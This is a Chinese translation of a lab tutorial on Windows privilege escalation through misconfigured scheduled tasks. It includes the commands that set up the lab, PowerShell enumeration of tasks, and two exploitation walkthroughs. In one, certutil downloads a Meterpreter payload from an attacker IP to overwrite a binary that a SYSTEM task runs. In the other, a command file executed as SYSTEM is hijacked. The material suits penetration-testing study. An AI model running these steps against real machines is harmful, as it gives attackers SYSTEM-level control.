利用 Windows 常见的错误配置进行提权:计划任务
2019-10-29 10:10:36 Author: xz.aliyun.com(查看原文) 阅读量:230 收藏

译文声明
本文是翻译文章,文章原作者 am0nsec,文章来源:amonsec.net
原文地址:https://amonsec.net/2018/10/20/Common-Windows-Misconfiguration-Scheduled-Tasks.html

译文仅供参考,具体内容表达以及含义原文为准

0x00 前言

本文写的是在使用计划任务作为权限提升的手段时,所涉及到的原理、方法及复现。

为了避免复现而出现的差异,可以在这里下载 Windows 10虚拟机,此处是给了 4GB RAM 和 2 个核心处理器的 MSEdge on Win10 (x64) Stable 1809

0x01 系统配置

如果要复现本文中的两个利用案例,则可以根据本小节的内容进而创建两个配置错误的计划任务。

首先,我们有一个普通用户 lowuser, 先创建目录:

mkdir "C:\ScheduledTasks\Task1"
mkdir "C:\ScheduledTasks\Task2"
mkdir "C:\ScheduledTasks\Task3"

我们利用 Task1Task3 执行二进制文件,而 Task2 则执行一个 Bat 文件。

copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe"
echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i  > C:\ScheduledTasks\Task2\something.bat
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"

我们不允许 lowuser 用户对C:\ScheduledTasks\Task1C:\ScheduledTasks\Task2 文件夹进行写操作,并且也不允许对 C:\ScheduledTasks\Task2\something.bat 文件进行写操作和删除操作。

icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W)
icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D)
icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)

现在,我们可以使用 schtasks 命令创建三个计划任务。对于那些想学习如何使用 schtask 命令的人,可以进一步阅读此 Microsoft page。此外,在创建第三个任务时,使用 lowuser 用户替换掉 NT Authority\System

schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2
schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2

上面的操作基本都很简单。

0x02 Windows计划的任务

根据微软的说法:

The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks when the criteria is met.

Linux/Unix 系统的 cron/jobs 相比,Windows 计划任务程序 是定义为 触发器执行操作

计划任务可以存档不同的操作:

  • 触发 COM 处理程序;
  • 执行二进制;
  • 发送 E-mail;
  • 显示一个消息框。

可用于执行动作的不同触发器:

  • 基于时间
    时间触发
    每日触发
    每周触发
    每月触发
  • 基于事件
    空闲触发
    开机触发
    注册触发
    登陆触发
    会话状态更改触发

值得注意的是,可以使用多个触发器来触发任务。一个简单的例子:我想要一个任务,该任务将在用户每次登陆时执行一次脚本,或者每个月弹出一个消息框,以便提醒我必须修改密码。

像这样的描述,并不是很危险,但问题是,在大多数情况下,计划任务是以 NT Authority\System 高权限执行的。因此,如果计划任务要执行的是一个二进制,而且二进制文件可以用任意一个二进制文件覆盖,则可能会导致特权提升。

文档参考:https://docs.microsoft.com/zh-cn/windows/desktop/taskschd/task-scheduler-start-page

0x03 错误配置

3.1、任务枚举

为了获得所有计划的任务,我们可以使用schtask在此处记录)命令进行查询。

或者,我们可以使用此处 PowerShell cmdlet 中的 Get-ScheduledTask 来查询 。

可以看到,此时我们有很多的计划任务,因此我们使用 PowerShell 进行更进一步的筛选查询。

首先,我们可以删除包含 /Microsoft/Windows/ 路径的所有任务,因为在大多数情况下,这些都是默认的计划任务。

Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

太棒了,筛选过后我们还有五个任务,现在我们可以删除与 lowuser 用户相同权限的计划任务。

Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

最后,我们还有两个比较有趣的计划任务,这是值得进行分析是 Task1Task2

3.2、利用案例:Task1

让我们看看如何利用第一个计划任务来获得该系统的更多特权。

我们可以使用以下 PowerShell 命令来获取任务的执行间隔。

$task= Get-ScheduledTask -TaskName Task1
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}

我们可以使用这些命令找到关于此任务的动作。

$task= Get-ScheduledTask -TaskName Task1
ForEach ($action in $task.Actions) { Select $action.Execute}

根据输出可以看出,Task1 每隔两分钟执行一次 C:\ScheduledTasks\Task1\something.exe 。此时我们作为低特权用户,必须检查是否可以覆盖此文件。

accesschk.exe可以使用很棒的工具。

C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe

我们拥有写权限,因此,我们可以用 meterpreter shell 替换原始二进制 something.exe 文件。

certutil -urlcache -split -f "http://192.168.230.130:8080/something.exe" C:\ScheduledTasks\Task1\something.exe

最多两分钟后,我们将获得具有 SYSTEM 权限Meterpreter 会话

3.3、利用案例:Task2

与之前相同,让我们看看Task2 的执行间隔和执行动作。

$task = Get-ScheduledTask -TaskName Task2
ForEach ($trigger in $task.Triggers) { echo $trigger.Repetition.Interval}
ForEach ($action in $task.Actions) { echo $action.Execute }

有趣的是,执行了一个bat 文件。

目前的情况如下:Task2 每隔两分钟执行一次 C:\ScheduledTasks\Task2\something.bat,而 bat 的内容则是依次按行执行 C:\ScheduledTasks\Task2\.secret\file.txt 文件中的内容。

幸运的是,lowuser用户对该目录具有写权限。

因此,我们可以创建一个名为 .secret 的新文件夹,并在file.txt文件中添加要作为 SYSTEM 权限执行的命令。

mkdir C:\ScheduledTasks\Task2\.secret
echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt

最多两分钟后,我们将获得具有 SYSTEM 权限Meterpreter 会话


文章来源: http://xz.aliyun.com/t/6623
如有侵权请联系:admin#unsafe.sh